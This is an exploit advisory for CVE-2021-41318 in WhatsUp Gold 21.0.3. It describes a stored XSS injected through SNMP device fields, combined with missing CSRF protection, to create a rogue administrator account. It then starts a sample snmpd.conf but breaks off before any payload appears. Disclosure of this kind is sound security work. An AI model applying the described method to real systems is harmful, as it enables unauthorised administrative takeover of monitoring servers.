# Date: 09.17.2021
# Exploit Author: Andreas Finstad (4ndr34z)
# Vendor Homepage: https://www.whatsupgold.com
# Version: v.21.0.3, Build 188
# Tested on: Windows 2019 Server
# CVE : CVE-2021-41318
# Reference: https://f20.be/cves/poc-cve-2021-41318
Description:
Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
Placing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.
No CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.
SNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:
# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent (‘snmpd’)
# See snmpd.conf(5) man page for details
############################################################################
# SECTION: System Information Setup
# syslocation: The [typically physical] location of the system.
# Note that setting this value here means that when trying to
# perform an snmp SET operation to the sysLocation.0 variable will make
# the agent return the “notWritable” error code. IE, including
# this token in the snmpd.conf file will disable write access to
# the variable.
# arguments: location_string
